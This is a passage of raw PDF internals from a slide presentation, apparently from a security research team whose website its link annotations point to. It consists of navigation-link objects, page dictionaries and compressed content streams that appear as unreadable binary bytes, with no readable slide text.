104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1072 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1073 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1074 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1075 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1076 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1077 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1078 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1079 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1080 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1081 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1082 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1083 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1084 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1085 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1086 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1087 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1088 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1089 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1090 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1091 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1092 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1093 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1094 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1095 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1096 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1097 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1098 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1099 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1100 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1101 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1102 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1103 0 obj << /Type /Page /Contents 1104 0 R /Resources 1102 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1074 0 R 1075 0 R 1076 0 R 1077 0 R 1078 0 R 1079 0 R 1080 0 R 1081 0 R 1082 0 R 1083 0 R 1084 0 R 1085 0 R 1086 0 R 1087 0 R 1088 0 R 1089 0 R 1090 0 R 1091 0 R 1092 0 R 1093 0 R 1094 0 R 1095 0 R 1096 0 R 1097 0 R 1098 0 R 1099 0 R 1100 0 R 1068 0 R 1069 0 R 1070 0 R 1071 0 R 1072 0 R 1073 0 R 1101 0 R ] /AA << /O << /S /GoTo /D [ 1136 0 R /Fit ] >> >> >> endobj 1104 0 obj << /Length 1945 /Filter /FlateDecode >>stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJxB: FyAY=C7雘tBGQzߑdQ pDϧ~ c3"2sB3k:cw-6{d qdˆGSXQ6AR{} M'`Z\mƸ^#tHw 8|55Է=Ib#pHh Q BR雡sL(!MF|CO j|h'Z}4fRn(_wn$?$}]-ZY"?LψxB55|4{W^P8v뷁1 0_O݅1uĆvxp"]HHAO3 ^x ~rhj4~0/)545 Mٍ2hHf Pp_;eMJ ovjփE1% @{Εe8zsegqX0q|#{ǚsJNSTSjSԝ4RE~_ Op3;Dg˺a=8}_H ̶|hgw\rUFJ> endobj 1106 0 obj << /D [ 1136 0 R /XYZ 334.488 1.245 null ] >> endobj 1107 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1108 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1109 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1110 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1111 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1112 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1113 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1114 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1115 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1116 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1117 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1118 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1119 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1120 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1121 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1122 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1123 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1124 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1125 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1126 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1127 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1128 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1129 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1130 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1131 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1132 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1133 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1134 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1135 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1136 0 obj << /Type /Page /Contents 1137 0 R /Resources 1135 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1107 0 R 1108 0 R 1109 0 R 1110 0 R 1111 0 R 1112 0 R 1113 0 R 1114 0 R 1115 0 R 1116 0 R 1117 0 R 1118 0 R 1119 0 R 1120 0 R 1121 0 R 1122 0 R 1123 0 R 1124 0 R 1125 0 R 1126 0 R 1127 0 R 1128 0 R 1129 0 R 1130 0 R 1131 0 R 1132 0 R 1133 0 R 1134 0 R ] /AA << /O << /S /GoTo /D [ 1170 0 R /Fit ] >> >> >> endobj 1137 0 obj << /Length 2568 /Filter /FlateDecode >>stream x[s_qyI }#L:SK{:ɚEp䑱(Y\sX,4*V9`k%CyVI#'u%h0բ.n0=lUq\JFj[Nt5k LH-1֜Q@ſCJh+n%x>|֍aFʆyr/Dw'㕐^WQrU;*靮~Pkcog4h:"ck47Sh! UŪ0u{EMFC)rƤڞ;15*-qf[FJOffӀP6fb cIAa"9r1F'CvDZ!ړ-aFH3Nzҳ{Wa |y߃,SDzIz#O-> -F${)?{ ,T&nFg/d^Y|ɮk3L3P愶0np xlHZq.,8}Fe=6P9>9Aa-d@njrtxn;V߆O8r}Ѐg3D8.|UkL_~v4LxNhd'Mg})rk'=  F7?0=nE! oZ72?,$W8V,:甬ۨ_keױUEHW Z&bEp4ES󟽸^qVEǜR=cUP<ɬiUHCj< rgP0]St966z9z3-k\c?C?bNT#cÓrlǗE6B_[8ji3z$\8o>tc3q{;$,#I:'QJRA. ͅ3S< x^{39EO`|b}fl=19 rг`]d~`?m}Θ[x!%VI9}lo C3_:u9(ILx@ OE]+Kr e#~b!ٛ(o]2.~#VmaqbJ;㓔^Ӈu籐p$;Z~UXP{,@`Fף-~ЉU6tC֖e% 6̤^0aO2A*cF5T&6uSkZKgx4 %FO6u[nUPahH+%zZեj\*{oKj@c5˰&Za.o=}[oz70t+$^\E1\E!oA&NH8@O"x3ll39525f(!et>```[?=IsTPFdov~Ä)?aB4Bhm1Kvyt'و}s I4$p!pFv=&$1~Z(gU]tÖeE1 !kJqp4viHΧE_A03X*o/%DGgvcq<T/'vŠBp{t'݂f:@yJ1!@;燏a'G6ÙD.fkϽ{E(z ոTa>1*}`Ƃ41a صyajD²7*m n?q0*g^lF, `U۽1H4:^kѬàyL[VE&RLm i(lPq hb52÷ΥD $R$$ST| OA2)H6>3?P.UpL!oCi}̺Fd^Nu_F{ٺLqMMdJUo(p--7 ܭ w˧C&nCKC͛qwf؜"f",xӕRŦ|?rU5G?R ɟ󛒰{>m@nu)OB`cRGB0?j Œ endstream endobj 1138 0 obj << /D [ 1136 0 R /XYZ 334.488 1.245 null ] >> endobj 1139 0 obj << /Count 4 /Kids [ 1136 0 R 1170 0 R 1203 0 R 1237 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 1140 0 obj << /D [ 1170 0 R /XYZ 334.488 1.245 null ] >> endobj 1141 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1142 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1143 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1144 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1145 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1146 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1147 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1148 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1149 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1150 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1151 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1152 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1153 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1154 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1155 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1156 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1157 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1158 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1159 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1160 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1161 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1162 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1163 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1164 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1165 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1166 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1167 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1168 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1169 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1170 0 obj << /Type /Page /Contents 1171 0 R /Resources 1169 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1141 0 R 1142 0 R 1143 0 R 1144 0 R 1145 0 R 1146 0 R 1147 0 R 1148 0 R 1149 0 R 1150 0 R 1151 0 R 1152 0 R 1153 0 R 1154 0 R 1155 0 R 1156 0 R 1157 0 R 1158 0 R 1159 0 R 1160 0 R 1161 0 R 1162 0 R 1163 0 R 1164 0 R 1165 0 R 1166 0 R 1167 0 R 1168 0 R ] /AA << /O << /S /GoTo /D [ 1203 0 R /Fit ] >> >> >> endobj 1171 0 obj << /Length 2919 /Filter /FlateDecode >>stream x[KoGW!̸ߏ\Y2dXRz4EZER﷪9P)YALuWwu k^7y~6W@a4sR7Š ,-Ovs9.Ff ;ruk LH-*c: :rLJ)modvm.tflG-By[Ѩ8oq4Use*h]CN9 z!.t$$ yXO 5v6H/Iea.., >CObIӠڅЙYo|YFo[G \/+W9w_2ͰyyX!6@~ӟLM| eeoI{HG8ls_^qgSt:ߡf,~z xq1j-sg/gU+)QY)f>iQC4HfM2\ ]wD;} $wAmay:Fq=Σ7SXc/{NT'cãqlxǗՔvR_;8[;3:Ԣf|Ip|nɌkxbVAj8= ™)}=xE>Ja(C7W71Oz,Z)i#zshQڨs{7M yss@K,(` m}}j͠;0D4) OonCYP8T\†p?i$@)uU DT.4hJ<EG~`kZ\Tzylgtt'fhGഎ٫Maq S~Ԧu{DQXA;-_=e[2Ft֒V\>i ||Ԗ\m3$6LI&HdCӠjĶljC:Y9ĢDW5gnL<evj%(^Y> AIvM(K KGrX#rcF͕dhT9$W'^9lEΨπ_}+T/-pd0`WP`p`7=mH^zl0)T.tgTX.n `'lZƴ1/蜓8=Z ~.h*hq\|=/ {LTBB*F.?Q0vH,6@|!}!>pK|2&R<-V\!@O*lA[S<;z8CiV=Е\S*3f7I\<",>]$+? ? :pMKrcDD}u 5z.]t) {0+_b-o v9:yx:÷b6_O'ɥ A.A|BFtaX Q2o1Zz}R};}$A嶗mE:k*O} CHelbY`Q.%[ 2պ}f7N!yZ zO[яIpR#F!}xFcܗ<#~R|ܳ1C^ A&i ۢ]_/ ~N^=M Gx| u<7nxLNa Q-!QE:{PF%eT6\_߹_ʄ_O7+qbhOoLJ>Cot -KKNI]3Z.0>)|_I {=<;y$}~X]CySeB⛟G xЏQw2+I endstream endobj 1172 0 obj << /D [ 1170 0 R /XYZ 334.488 1.245 null ] >> endobj 1173 0 obj << /D [ 1203 0 R /XYZ 334.488 1.245 null ] >> endobj 1174 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1175 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1176 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1177 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1178 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1179 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1180 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D 